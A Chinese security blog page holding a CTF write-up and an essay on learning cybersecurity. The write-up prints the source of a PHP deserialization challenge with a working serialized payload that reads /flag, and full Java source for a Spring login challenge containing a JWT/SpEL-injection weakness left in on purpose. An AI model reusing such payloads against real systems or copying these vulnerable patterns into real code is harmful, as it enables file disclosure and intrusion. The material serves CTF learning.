比赛概述总体上来说,比赛难度还是有的但是我自身的一些欠缺也是存在的,赛后复盘的时候发现自己在一些地方没注意,导致该拿的分数没拿到,这是真的非常可惜的ezphp2这是一道反序列化的题目,源码如下:<?php error_reporting(0); highlight_file(__FILE__); class A{ public $a; public function __construct($a) { $this->a = $a; } public function __destruct() { foreach (explode("-",$this->a) as $value){ echo $value." "; } } } class B extends C { public $c; public function FileReader(){ if (file_exists($this->c)){ echo file_get_contents($this->c); }else{ echo "file_not_found"; } } public function __toString() { $this->FileReader(); return ""; } } class C{ public $what; public $haha; public function __wakeup() { $this->c = "no way"; $this->what = $this->haha; } } $p = $_GET["p"]; if (isset($p)){ unserialize($p); }else{ new A("Welcome-hacker"); }看起来,是要将文件名路径传给$c,然后读取文件内容出来即可这里要把A类里面的传入B类,然后常规过wakeup即可,但是我比赛的时候忘记过wakeup了。。。本来我自己都是手工构造序列化内容的,但赛后突然发现另外一种解题思路:<?php error_reporting(0); highlight_file(__FILE__); class A{ public $a; public function __construct($a) { $this->a = $a; } public function __destruct() { foreach (explode("-",$this->a) as $value){ echo $value." "; } } } class B extends C { public $c="/flag"; public function FileReader(){ if (file_exists($this->c)){ echo "<br>"; echo "Flag为:" . file_get_contents($this->c); }else{ echo "file_not_found"; } } public function __toString() { $this->FileReader(); return ""; } } class C{ public $what; public $haha; public function __wakeup() { $this->c = "no way"; $this->what = $this->haha; } } $bbb=new B(); $asd=new A($a=$bbb); print_r($asd); echo "<br>"; echo "构造反序列化字符串为:" . serialize($asd); ?>可以这样直接输出出来!!!解题Payload如下:O:1:"A":1:{s:1:"a";O:1:"B":3:{s:1:"c";s:5:"/flag";s:4:"what";N;s:4:"haha";N;}}lander这是一道Java写的Web登录题,给了源码,目录结构如下:F:. │ Easyjava2Application.java │ ├─controller │ Index.java │ └─Utils CyberUtils.java JwtUtils.java OtherUtils.javaEasyjava2Application.java:package com.ctf.lander; import org.springframework.boot.SpringApplication; import org.springframework.boot.autoconfigure.SpringBootApplication; @SpringBootApplication public class Easyjava2Application { public static void main(String[] args) { SpringApplication.run(Easyjava2Application.class, args); } }Index.java:package com.ctf.lander.controller; import com.ctf.lander.Utils.JwtUtils; import org.springframework.expression.Expression; import org.springframework.expression.ExpressionParser; import org.springframework.expression.spel.standard.SpelExpressionParser; import org.springframework.stereotype.Controller; import org.springframework.ui.Model; import org.springframework.web.bind.annotation.RequestMapping; import org.springframework.web.bind.annotation.ResponseBody; import javax.servlet.http.Cookie; import javax.servlet.http.HttpServletRequest; import javax.servlet.http.HttpServletResponse; import java.util.Map; @Controller public class Index { @RequestMapping(value = "/") public String index()throws Exception{ return "index"; } @RequestMapping(value = "/login") public void login(String username, HttpServletResponse response)throws Exception{ String jwt = JwtUtils.getToken(username); Cookie cookie = new Cookie("auth",jwt); response.addCookie(cookie); response.sendRedirect("/success"); } @ResponseBody @RequestMapping(value = "/success") public String success(Model model, HttpServletRequest request, HttpServletResponse response)throws Exception{ Cookie[] cookies = request.getCookies(); try { Map result = JwtUtils.parseToken(cookies[0].getValue()); String username = result.get("sub").toString(); String uuid = result.get("jti").toString(); if (uuid.contains("flag")||uuid.contains("/")){ return "no"; } ExpressionParser expressionParser = new SpelExpressionParser(); Expression time = expressionParser.parseExpression(String.format("T(com.ctf.lander.Utils.OtherUtils).FileRead('%s')",uuid)); return username+" create at "+time.getValue(); }catch (Exception e){ response.sendRedirect("/"); return ""; } } }CyberUtils.java:package com.ctf.lander.Utils; import org.springframework.util.DigestUtils; public class CyberUtils { public static byte[] Md5(String str)throws Exception{ return DigestUtils.md5DigestAsHex(str.getBytes("utf-8")).getBytes(); } public static byte[] Md5()throws Exception{ return DigestUtils.md5DigestAsHex("".getBytes("utf-8")).getBytes(); } }JwtUtils.java:package com.ctf.lander.Utils; import io.jsonwebtoken.Claims; import io.jsonwebtoken.JwtBuilder; import io.jsonwebtoken.Jwts; import io.jsonwebtoken.SignatureAlgorithm; import java.util.Date; import java.util.UUID; public class JwtUtils { public static String getToken(String username) throws Exception{ String uuid = UUID.randomUUID().toString(); JwtBuilder jwtBuilder = Jwts.builder() .setId(uuid) .setSubject(username) .setIssuedAt(new Date()) .signWith(SignatureAlgorithm.HS256, CyberUtils.Md5()); OtherUtils.FileWrite(uuid); return jwtBuilder.compact(); } public static Claims parseToken(String token)throws Exception{ Claims claims = Jwts.parser() .setSigningKey(CyberUtils.Md5()) .parseClaimsJws(token) .getBody(); return claims; } }OtherUtils.java:package com.ctf.lander.Utils; import java.io.File; import java.io.FileReader; import java.io.FileWriter; import java.nio.charset.StandardCharsets; import java.nio.file.Files; import java.nio.file.Paths; import java.util.Base64; import java.util.Date; public class OtherUtils { final static String Base_dir = "/tmp/"; public static void FileWrite(String filename)throws Exception{ File file = new File(Base_dir+filename); if (!file.exists()){ file.createNewFile(); } FileWriter fileWriter = new FileWriter(Base_dir+filename); fileWriter.write(new Date().toString()); fileWriter.close(); } public static String FileRead(String filename)throws Exception{ File file = new File(Base_dir+filename); if (!file.exists()){ return ""; } byte[] bytes = Files.readAllBytes(Paths.get(Base_dir+filename)); String content = new String(bytes, StandardCharsets.UTF_8); return content; } public static String FileRead(Boolean bool)throws Exception{ if (bool){ byte[] bytes = Files.readAllBytes(Paths.get("/flag")); String content = new String(bytes, StandardCharsets.UTF_8); return content; } return ""; } }这道题我还在研究中,打开是一个空白界面,然后能在代码里面看到/login和/success两个目录访问/login,能获得一个jwt格式的cookie,然后自动跳转到/success我猜测,是要将cookie改为管理员的格式,传给/success后才能出现flag
2022年12月10日
843 阅读
0 评论
4 点赞
2022-12-09
我对网络安全的思考
注:本篇文章仅代表个人观点如有异议,欢迎在文章下方友善回复,谢谢相遇即是缘分,希望你能仔细看完这篇文章,并能做出自己的思考每个人的目光都有自己的局限性,理性看待并吸收他人的观点,是常识1# 对于当今网络安全的形势网络安全(信息安全)到如今,发展也不过十几年,但它的发展速度、更新速度却能算是非常迅速的,以下几点是我的个人看法:这几年,无数大大小小的安全事件的出现,让企业逐渐重视起网络安全。我一直重复一句话:安全事件永远是网络安全的第一生产力,没有安全事件,企业就很难重视网络安全。攻防对抗是一个漫长的过程,正是有了攻和防,才会演化出那么多技术、产品,这是无穷无尽的一个过程。单从技术的角度来看,一项最新的攻击技术,有可能过一个月,就会有更新的技术来替代它,也可以刚出现,就被防守方拿来分析,进而抵御、溯源甚至反制攻击者。计算机网络技术的发展,不管是硬件还是软件,只要连入互联网,都面临着来自互联网面的安全。而随着整个世界步入信息时代,前些年如果你关注科技板块,可以发现“互联网+”是个热词,动不动就说“互联网+”。而各个企业纷纷进行“互联网+”,为解决各种各样的需求,里面衍生出的各种软件(开源框架/企业OA/生产平台)、硬件,从软件、硬件的初始设计中,就没有重视网络安全,为攻击者提供了许许多多的可乘之机。网络安全确实是计算机领域的一个红利,但远远没有达到营销号所说的那么夸张,我们要理性看待这个红利。网络安全是技术指向型的产业,最后都会回归到两个字“技术”,如果没有足够的技术储备,那就请做好被淘汰的心理准备吧。随着信息时代的发展,网络安全也拓展出许许多多的新兴领域,我这里举几个例子:供应链安全,开源软件漏洞挖掘,AI模型攻击与防护(渗透自动化),数据分类分级,数据跨境流动安全,物联网安全,网络协议漏洞挖掘这些领域是缺少人才的,同时这方面的人才相对来说也是很难培养的拿物联网来说,物联网安全的细分方向:路由器&物联网设备漏洞挖掘、固件模拟器、物联网设备标签、物联网协议漏洞挖掘、漏洞自动修复、车联网安全、无线电安全所以,格局要打开,不要局限于目前的形势2# 对于网络安全的学习其实每个人,我也一样,大家都是从0开始,大家都有作为菜鸡的一个阶段;但是心态很重要,以下几点我觉得是有必要提的:要承认自己在技术上面的欠缺在学习上谦虚上进、在技术上认真钻研、在待人上友善随和在技术的道路上,持之以恒才能有所收获网络安全的学习道路,很多时候都是孤身一人,实话说,学习网络安全是很辛苦的,要耐得住寂寞,能深耕于网络安全领域,对技术有自己的独立思考在我大学的时候,遇到过许许多多的同学,有一位章某某同学,虽然对网络安全(信息安全)有浓厚的兴趣,但却一直呆在舒适区,不愿意下决心认真学习,我个人认为如果他依旧如此,那在专业上必然很难有所建树。希望他有缘能看到这篇文章,冲出舒适区吧。我虽然混迹网络安全十余载,但我也不敢说自己精通于网络安全,只能说自己略懂略懂。网络安全的技术更新很频繁,新的技术层出不穷,“逆水行舟、不进则退”,不前行的话,很快你就被行业淘汰了。这一点是值得各位师傅细细品味的。随着自己的学习,对于网络安全的眼界逐渐扩大的时候,真的会感慨:还有好多东西等着我们去学习、去进取、去突破,自己真的啥也不会。而当你再去潜下心来学习新的技术的时候,不知不觉你就在成长了,当多年后,再转头来看看以前的自己,可能会觉得又好笑又心酸又自豪。3# 为什么都说网安难入门我十余载和各种各样的师傅接触,有从双一流到大专、中专的学生,又有从小厂到大厂的在职员工,我认为难以入门有以下几点(个人看法,仅供参考):目前国内的网络安全(信息安全)相关教育,是缺乏体系化、系统化、科学化的教学,也没有给学生足够的实践空间和机遇目前学习的相关知识,不符合网络安全相关岗位的需要国内很多无良的营销号,带偏了很多学生的观点(诸如:学网安必须要英语好,必须要“精通”编程,你放屁)网络安全相关的学习资料,在互联网上也是呈现碎片化,十分考验信息搜集的能力国内各种割韭菜的所谓“网络安全培训课”,到头来交了几千块啥也没学会或者只教你一些皮毛(这里点名腾某课堂,上面什么垃圾课程)网络安全涉及内容颇多,学习难以下手,啥都想学却啥也没学会的大有人在但我一直奉行着一条观点:我上面算是抱怨,但既然是抱怨,那就要提出解决方法。只抱怨而没有解决方法,是无效的,这样只会增长彼此的怨气罢了。4# 如何入门网络安全我这里只提供一个方法论(思路),希望你看完后有自己的思考:我个人认为,作为攻击者,想要完成一次完整攻击链,大致需要做到以下七步:信息搜集、漏洞利用、建立据点、权限提升、权限维持、横向移动、痕迹清除而网上有很多课程都教的是Web安全,Web安全正是攻击链的开头呀。现在很多资产都会对外开放Web服务,通过信息搜集找到利用点,再通过Web服务的漏洞拿到Webshell,才能有后面打内网、打域控的内容。而我们不能止步于Web安全,学完Web安全,就应该学习内网安全、免杀、域渗透的相关版块了。第一,现在会Web安全的人太多了,没有足够的竞争力;第二,只会Web安全,在目前的网络安全岗位需求里,已经很难满足岗位的需要了。我这里只是提供了一种思路,如果你决意想钻研上面我提供的那些新兴网络安全领域,也是可以的,希望你能有所收获。这里,推荐一个开源项目,希望各位师傅看看:https://github.com/SecWiki/sec-chart 也推荐我们团队的导航,相信对你的学习有所帮助:https://dh.aabyss.cn 再推荐团队公众号上我写的一篇文章: https://mp.weixin.qq.com/s/r95kz0aRVSkAXzMDeRkcaQ 5# 总结每个人都有属于自己的道路,学习的路上,希望你能不忘初心、砥砺前行。没必要追寻他人的脚步,做好自己、把握当下即可。不过分自卑,也不过分自傲,努力进取,必有所成!
2022年12月09日
5,781 阅读
24 评论
149 点赞
1
...
3
4
5